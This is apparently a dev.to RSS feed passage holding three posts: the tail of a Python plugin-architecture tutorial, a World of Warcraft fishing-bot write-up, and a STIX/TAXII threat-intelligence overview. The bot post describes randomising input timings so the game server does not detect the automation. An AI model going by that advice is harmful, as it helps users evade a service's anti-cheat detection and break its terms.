&lt;p&gt;After that the function will be available at the &lt;code&gt;register&lt;/code&gt; in the &lt;code&gt;main.py&lt;/code&gt; file.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;python main.py
&lt;span class="gp"&gt;[&amp;lt;class 'actions.action_example1.Example1Action'&amp;gt;&lt;/span&gt;, &amp;lt;class &lt;span class="s1"&gt;'actions.action_example2.Example2Action'&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Benchmarks
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="go"&gt;Measure-Command { python .\main.py }

Days              : 0
Hours             : 0
Minutes           : 0
Seconds           : 0
Milliseconds      : 24
Ticks             : 240745
TotalDays         : 2.78640046296296E-07
TotalHours        : 6.68736111111111E-06
TotalMinutes      : 0.000401241666666667
TotalSeconds      : 0.0240745
TotalMilliseconds : 24.0745
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h1&gt;
  
  
  Solution 2
&lt;/h1&gt;

&lt;p&gt;Repository: &lt;a href="https://github.com/syrull/plugin-arch-python/tree/main/Solution-2"&gt;https://github.com/syrull/plugin-arch-python/tree/main/Solution-2&lt;/a&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;SOLUTION-2
│   main.py
│   README.md
│   register.py
│
└───actions
        action_example1.py
        action_example2.py
        __init__.py
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The benefits of this solution are that we have a control over the decorator and we can pass some custom &lt;code&gt;*args, **kwargs&lt;/code&gt; to the decorated functions.&lt;/p&gt;

&lt;h2&gt;
  
  
  To Register an action
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;New python file in &lt;code&gt;actions/&lt;/code&gt; folder&lt;/li&gt;
&lt;li&gt;Create function with an appropriate name (ex. &lt;code&gt;action_onclick&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;Decorate the function with &lt;code&gt;register_action&lt;/code&gt; decorator&lt;/li&gt;
&lt;li&gt;Export the function in the &lt;code&gt;__all__&lt;/code&gt; method in &lt;code&gt;actions/__init__.py&lt;/code&gt; file&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;After that the function will be available at the &lt;code&gt;register&lt;/code&gt; in the &lt;code&gt;main.py&lt;/code&gt; file.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;python main.py
&lt;span class="gp"&gt;[&amp;lt;function action_example1 at 0x000001CC3F88D310&amp;gt;&lt;/span&gt;, &amp;lt;&lt;span class="k"&gt;function &lt;/span&gt;action_example2 at 0x000001CC3F88D3A0&amp;gt;]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Benchmarks
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="go"&gt;Measure-Command { python .\main.py }

Days              : 0
Hours             : 0
Minutes           : 0
Seconds           : 0
Milliseconds      : 22
Ticks             : 227803
TotalDays         : 2.6366087962963E-07
TotalHours        : 6.32786111111111E-06
TotalMinutes      : 0.000379671666666667
TotalSeconds      : 0.0227803
TotalMilliseconds : 22.7803
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



</description>
      <category>python</category>
      <category>architecture</category>
      <category>plugin</category>
      <category>programming</category>
    </item>
    <item>
      <title>Simple Fishing Bot for World of Warcraft</title>
      <dc:creator>Dimitar </dc:creator>
      <pubDate>Tue, 04 Oct 2022 19:36:10 +0000</pubDate>
      <link>https://dev.to/syrull/simple-fishing-bot-for-world-of-warcraft-adb</link>
      <guid>https://dev.to/syrull/simple-fishing-bot-for-world-of-warcraft-adb</guid>
      <description>&lt;p&gt;This fishing bot consists only of about 50 lines of code, it incorporates the mechanics of World of Warcraft and some simple Windows API Calls. &lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--CLo1KkLj--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_66%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/7n5a5an7z7i5qzubq6ut.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--CLo1KkLj--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_66%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/7n5a5an7z7i5qzubq6ut.gif" alt="Example of the working script" width="880" height="400"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Repository: &lt;a href="https://github.com/syrull/simple-fishing-bot"&gt;https://github.com/syrull/simple-fishing-bot&lt;/a&gt; &lt;/p&gt;

&lt;h2&gt;
  
  
  Overview
&lt;/h2&gt;

&lt;p&gt;The bot has about ~99% success rate, there are some extremely rare cases where the bot won't catch it and I will explain why later. The method that the bot is using, should &lt;br&gt;
work in almost any fishing scenario in the game, I would personally avoid crowded places. The testing has been done in the current expansion (Shadowlands).&lt;/p&gt;

&lt;p&gt;The bot is running on the currently Active Window, I haven't performed checks wether this is the window of the game or not. It waits for about 2 seconds before it starts.&lt;/p&gt;

&lt;h3&gt;
  
  
  Metrics
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Zereth Mortis: 29m 33s
Items Looted: 161
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That means that we loot roughly about ~5.4 fish per minute.&lt;/p&gt;

&lt;h2&gt;
  
  
  Installation &amp;amp; Usage
&lt;/h2&gt;

&lt;p&gt;Check the &lt;code&gt;requirements.txt&lt;/code&gt;, for the Python Requirements and install them via &lt;code&gt;pip install -r requirements.txt&lt;/code&gt;. The tests are done under Python3.10 however I believe everything should work with Python&amp;gt;=3.6.&lt;/p&gt;

&lt;h3&gt;
  
  
  Set the bait
&lt;/h3&gt;

&lt;p&gt;Before using the bot, you need to supply it with an image of the bait. The image has to be on the bottom parts of the bait. Here is an example image, the green area indicates what would be a good image of the bait, it needs to be as small as possible.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--yfWjWHZb--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/qzrc7ek1q0zuxpfbjkem.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--yfWjWHZb--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/qzrc7ek1q0zuxpfbjkem.png" alt="bait example" width="432" height="373"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Save the image and place it at the root of the script as &lt;code&gt;bait.png&lt;/code&gt;, additionally you can adjust the variable &lt;code&gt;BAIT_IMAGE&lt;/code&gt; in the `fishingbot.py.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;⚠️ It is important for you to take the photo because of the graphical/display settings which can be different for each computer.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3&gt;
  
  
  Fine-tune the script
&lt;/h3&gt;

&lt;p&gt;The fine tunning that you have to do consists of:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;&lt;/code&gt;&lt;code&gt;python&lt;br&gt;
FISHING_BUTTON = "b"&lt;br&gt;
TUNE_BAIT_MOUSE_UNDER_PX = 35&lt;br&gt;
EDGE_RESET = 10, 10&lt;br&gt;
ACTIVE_AFTER = 2&lt;br&gt;
CONFIDENCE = 0.7&lt;br&gt;
&lt;/code&gt;&lt;code&gt;&lt;/code&gt;&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Variable&lt;/th&gt;
&lt;th&gt;Description&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;FISHING_BUTTON&lt;/td&gt;
&lt;td&gt;The button that you use for fishing, in my case it was &lt;code&gt;b&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;TUNE_BAIT_MOUSE_UNDER_PX&lt;/td&gt;
&lt;td&gt;The offset pixels where the mouse is going to be whenever there is a bait, see the How it works? section&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;EDGE_RESET&lt;/td&gt;
&lt;td&gt;Those are the &lt;code&gt;x, y&lt;/code&gt; coordinates to reset the mouse after catching the fish, it is used to improve the success rate, leave it at &lt;code&gt;10, 10&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ACTIVE_AFTER&lt;/td&gt;
&lt;td&gt;The bot simply waits 2 secs before it starts&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CONFIDENCE&lt;/td&gt;
&lt;td&gt;The confidence of the template matching&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  How it works?
&lt;/h2&gt;

&lt;p&gt;The method is extremely simple, it utilizes two things. The first one is the &lt;a href="https://docs.opencv.org/4.x/d4/dc6/tutorial_py_template_matching.html"&gt;Template Matching&lt;/a&gt;, this is what &lt;code&gt;pyautogui.locateOnScreen&lt;/code&gt; uses under the hood and the second one is the &lt;a href="https://github.com/mhammond/pywin32/blob/c08c3d9e4a503b195c312b0fbd51454bd2ee665a/win32/src/win32gui.i#L2486"&gt;PyGetCursorInfo&lt;/a&gt; function which is exposed by the &lt;code&gt;win32gui&lt;/code&gt; lib.&lt;/p&gt;

&lt;p&gt;The solution lies in the gif from the beginning, whenever the bobber actually catches a fish the AoE (Area of Effect) for the bobber becomes bigger allowing us to detect a change on the cursor, then we use the &lt;code&gt;GetCursorInfo&lt;/code&gt; to catch the change of the cursor and if it becomes a different &lt;code&gt;tuple&lt;/code&gt; from the default one which we set when there is nothing active on our cursor. Then we execute the click.&lt;/p&gt;

&lt;p&gt;Now about the fine-tuning, look at this example&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--RC3wg749--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/uuzzz6bonayw2ki9tc26.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--RC3wg749--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/uuzzz6bonayw2ki9tc26.png" alt="bobber diagram" width="419" height="264"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The &lt;code&gt;TUNE_BAIT_MOUSE_UNDER_PX&lt;/code&gt; variable which doesn't have the best name ever is indicated with red, in simple terms it is how many pixels under the located bobber to place the mouse. For myself the range between 28-32 works the best, but as I said earlier this could differ.&lt;/p&gt;

&lt;h2&gt;
  
  
  Edge cases
&lt;/h2&gt;

&lt;p&gt;There is a rare edge case when the default tuple for the cursor doesn't change which happens if the script isn't tune right, I've solved this by resetting the cursor at &lt;code&gt;x=10, y=10&lt;/code&gt; position of the screen and then bringing it back. In a case when the cursor's icon doesn't change and if it sits with the bait icon the bot would just wait the duration of the fishing and reset itself.&lt;/p&gt;

&lt;h2&gt;
  
  
  Additional features
&lt;/h2&gt;

&lt;p&gt;I've added a bit of randomness in the timings between each press of the fishing and the click of the bobber with additionally pressing space every now and then. Apparently the server can detect that something fishy is going on when this randomness is removed.&lt;/p&gt;

</description>
      <category>games</category>
      <category>hacks</category>
      <category>automation</category>
    </item>
    <item>
      <title>STIX &amp; TAXII - Complete Knowledge</title>
      <dc:creator>Dimitar </dc:creator>
      <pubDate>Mon, 28 Mar 2022 21:44:41 +0000</pubDate>
      <link>https://dev.to/syrull/stix-taxii-complete-knowledge-2jbc</link>
      <guid>https://dev.to/syrull/stix-taxii-complete-knowledge-2jbc</guid>
      <description>&lt;blockquote&gt;
&lt;p&gt;Note: This is a personal knowledge hub that I am trying to create, some of the information can be misleading or wrong, please use this with caution!&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2&gt;
  
  
  Introduction
&lt;/h2&gt;

&lt;h3&gt;
  
  
  STIX
&lt;/h3&gt;

&lt;p&gt;What is STIX and What is TAXII? In the most simple terms STIX is a model of Threat Intelligence that is represented in motivations, abilities, capabilities and response objects. Those objects are then represented in either JSON (STIX 2) or XML (STIX 1).&lt;/p&gt;

&lt;p&gt;Here is a very simple representation of STIX Objects in a graph.&lt;br&gt;
&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fbsuw7lnfzefu81oft2fq.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fbsuw7lnfzefu81oft2fq.png" alt="STIX Example"&gt;&lt;/a&gt;&lt;br&gt;
&lt;a href="https://oasis-open.github.io/cti-documentation/examples/sighting-of-an-indicator" rel="noopener noreferrer"&gt;Explanation of the example&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The data can be helpful for preventing or mitigating various kinds of attacks that can be expressed with STIX. All the list of the examples you can find in their &lt;a href="https://oasis-open.github.io/cti-documentation/stix/examples" rel="noopener noreferrer"&gt;official example page&lt;/a&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  TAXII
&lt;/h3&gt;

&lt;p&gt;The STIX data has to be relayed in some way, that's why we have the TAXII Server. It is a simple web server specifically created for storing and sharing that kind of data.&lt;/p&gt;

&lt;h4&gt;
  
  
  TAXII 1.x Structure
&lt;/h4&gt;

&lt;p&gt;The TAXII 1.2 Server has the following structure:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Discovery Service - Within a POST request to their discovery URL (which should be pointed by the Server maintainers).&lt;/li&gt;
&lt;li&gt;Collection Management URL - The service that has the collections with STIX objects.&lt;/li&gt;
&lt;li&gt;Channels - Push/Subscribe pattern.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The full list of features for TAXII1 can be found in their official documentation:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://docs.oasis-open.org/cti/taxii/v1.1.1/taxii-v1.1.1-part3-http.html" rel="noopener noreferrer"&gt;https://docs.oasis-open.org/cti/taxii/v1.1.1/taxii-v1.1.1-part3-http.html&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://taxiiproject.github.io/releases/1.1/TAXII_Overview.pdf" rel="noopener noreferrer"&gt;https://taxiiproject.github.io/releases/1.1/TAXII_Overview.pdf&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.oasis-open.org/committees/download.php/57324/OASIS" rel="noopener noreferrer"&gt;https://www.oasis-open.org/committees/download.php/57324/OASIS&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h4&gt;
  
  
  TAXII 2.x Structure
&lt;/h4&gt;

&lt;p&gt;For the newer versions of the TAXII Server we have the following structure:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F2my74ivbmrhswj1nd83b.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F2my74ivbmrhswj1nd83b.png" alt="Image description"&gt;&lt;/a&gt; &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;/discovery&lt;/code&gt; - Discovers the paths to the different services provided by the Server.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;api_roots&lt;/code&gt; - Provides the API URLs for the different types of Collection Management.

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;collections&lt;/code&gt; - Provides the available collections for the given &lt;code&gt;api_root&lt;/code&gt;.

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;collection/objects&lt;/code&gt; - Provides a list of STIX Objects in a given collection&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;/ul&gt;

&lt;/li&gt;

&lt;/ul&gt;

&lt;p&gt;You can see that this is very similar to the TAXII 1.x servers, there isn't much of a difference in the structure besides that the &lt;code&gt;collection_management_url&lt;/code&gt; is &lt;code&gt;api_root&lt;/code&gt; in TAXII 2.x. &lt;/p&gt;

&lt;p&gt;The full list of features for TAXII2 can be found in their &lt;a href="https://docs.oasis-open.org/cti/taxii/v2.1/csprd01/taxii-v2.1-csprd01.html" rel="noopener noreferrer"&gt;official documentation&lt;/a&gt;.&lt;/p&gt;

&lt;h4&gt;
  
  
  TAXII Servers and Threat Intelligence Providers
&lt;/h4&gt;

&lt;p&gt;The information about this is very scarce so I've gathered a quick list of the known providers for STIX data.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Resource&lt;/th&gt;
&lt;th&gt;URL&lt;/th&gt;
&lt;th&gt;Description&lt;/th&gt;
&lt;th&gt;Data Type&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;AlienVault OTX&lt;/td&gt;
&lt;td&gt;&lt;a href="https://otx.alienvault.com/api" rel="noopener noreferrer"&gt;https://otx.alienvault.com/api&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Requires an account, provides data in various ways including a TAXII Server.&lt;/td&gt;
&lt;td&gt;STIX 1.x&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Threat Connect&lt;/td&gt;
&lt;td&gt;&lt;a href="https://threatconnect.com/stix-taxii/" rel="noopener noreferrer"&gt;https://threatconnect.com/stix-taxii/&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Requires an account, Paid service, (consumes and provides) threat intel.&lt;/td&gt;
&lt;td&gt;STIX 1.x/2.x&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;EcleticIQ&lt;/td&gt;
&lt;td&gt;&lt;a href="https://www.taxiistand.com/" rel="noopener noreferrer"&gt;https://www.taxiistand.com/&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Test TAXII (v1x) server. (quite unstable and inconsistent)&lt;/td&gt;
&lt;td&gt;STIX 1.x&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Limo - Anomali&lt;/td&gt;
&lt;td&gt;&lt;a href="https://www.anomali.com/resources/limo" rel="noopener noreferrer"&gt;https://www.anomali.com/resources/limo&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Test TAXII (v1x/v2x) server. Somewhat unstable but mostly fine during tests.&lt;/td&gt;
&lt;td&gt;STIX 1.x/2.x&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  Tools for STIX/TAXII
&lt;/h2&gt;

&lt;p&gt;The main tool for creating/parsing or generating STIX data is going to be Python, since that all of the tools created are written in Python. Of course there are other alternatives but currently that's the most common one. &lt;/p&gt;

&lt;p&gt;Other tools that might come in handy.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Tool&lt;/th&gt;
&lt;th&gt;Description&lt;/th&gt;
&lt;th&gt;Version&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="https://github.com/opencybersecurityalliance/stix-shifter" rel="noopener noreferrer"&gt;stix-shifter&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Translates STIX to various other Threat Intelligence formats such as Carbon Black Cloud Query and others&lt;/td&gt;
&lt;td&gt;STIX 1.x/2.x&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="https://github.com/oasis-open/cti-python-stix2" rel="noopener noreferrer"&gt;stix2&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;The main python package to parse and use/create STIX2 data.&lt;/td&gt;
&lt;td&gt;STIX 2.x&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="https://github.com/oasis-open/cti-stix-validator" rel="noopener noreferrer"&gt;stix2-validator&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Provides a validation for the STIX2 data, can be used to validate your data from your sources.&lt;/td&gt;
&lt;td&gt;STIX 2.x&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="https://github.com/oasis-open/cti-stix-slider" rel="noopener noreferrer"&gt;stix2-slider&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Transforms STIX2 content to STIX1.2&lt;/td&gt;
&lt;td&gt;STIX 2.x&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="https://github.com/oasis-open/cti-stix-elevator" rel="noopener noreferrer"&gt;stix2-elevator&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Transforms STIX1 data to STIX2.x&lt;/td&gt;
&lt;td&gt;STIX 1.x&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="https://github.com/STIXProject/python-stix" rel="noopener noreferrer"&gt;stix&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;The main python package for STIX1 data.&lt;/td&gt;
&lt;td&gt;STIX 1.x&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="https://github.com/STIXProject/stix-validator" rel="noopener noreferrer"&gt;stix-validator&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Validating STIX1 data.&lt;/td&gt;
&lt;td&gt;STIX 1.x&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="https://github.com/oasis-open/cti-pattern-validator" rel="noopener noreferrer"&gt;stix2-patterns&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Validator and Pattern Parser for STIX 2.x Patterns&lt;/td&gt;
&lt;td&gt;STIX 2.x&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="https://github.com/oasis-open/cti-taxii-client/" rel="noopener noreferrer"&gt;taxii2-client&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Python Client for TAXII 2 Servers&lt;/td&gt;
&lt;td&gt;TAXII 2.x&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="https://github.com/EclecticIQ/cabby/" rel="noopener noreferrer"&gt;cabby&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Python Client for TAXII 1 Servers&lt;/td&gt;
&lt;td&gt;TAXII 1.x&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  Snippets and Gists
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;a href="https://gist.github.com/syrull/6a2614560fb0474df166a51bcb34990d" rel="noopener noreferrer"&gt;https://gist.github.com/syrull/6a2614560fb0474df166a51bcb34990d&lt;/a&gt; (Creating a TAXII2 Client for LimoAnomali) &lt;/li&gt;
&lt;li&gt;
&lt;a href="https://gist.github.com/syrull/73b1798f90c4109a13ef9fceb1f2f858" rel="noopener noreferrer"&gt;https://gist.github.com/syrull/73b1798f90c4109a13ef9fceb1f2f858&lt;/a&gt; (Creating a TAXII1 Client for OTXAlienVault)&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>stix</category>
      <category>taxii</category>
      <category>cybersecurity</category>
      <category>threatintelligence</category>
    </item>
  </channel>
</rss>
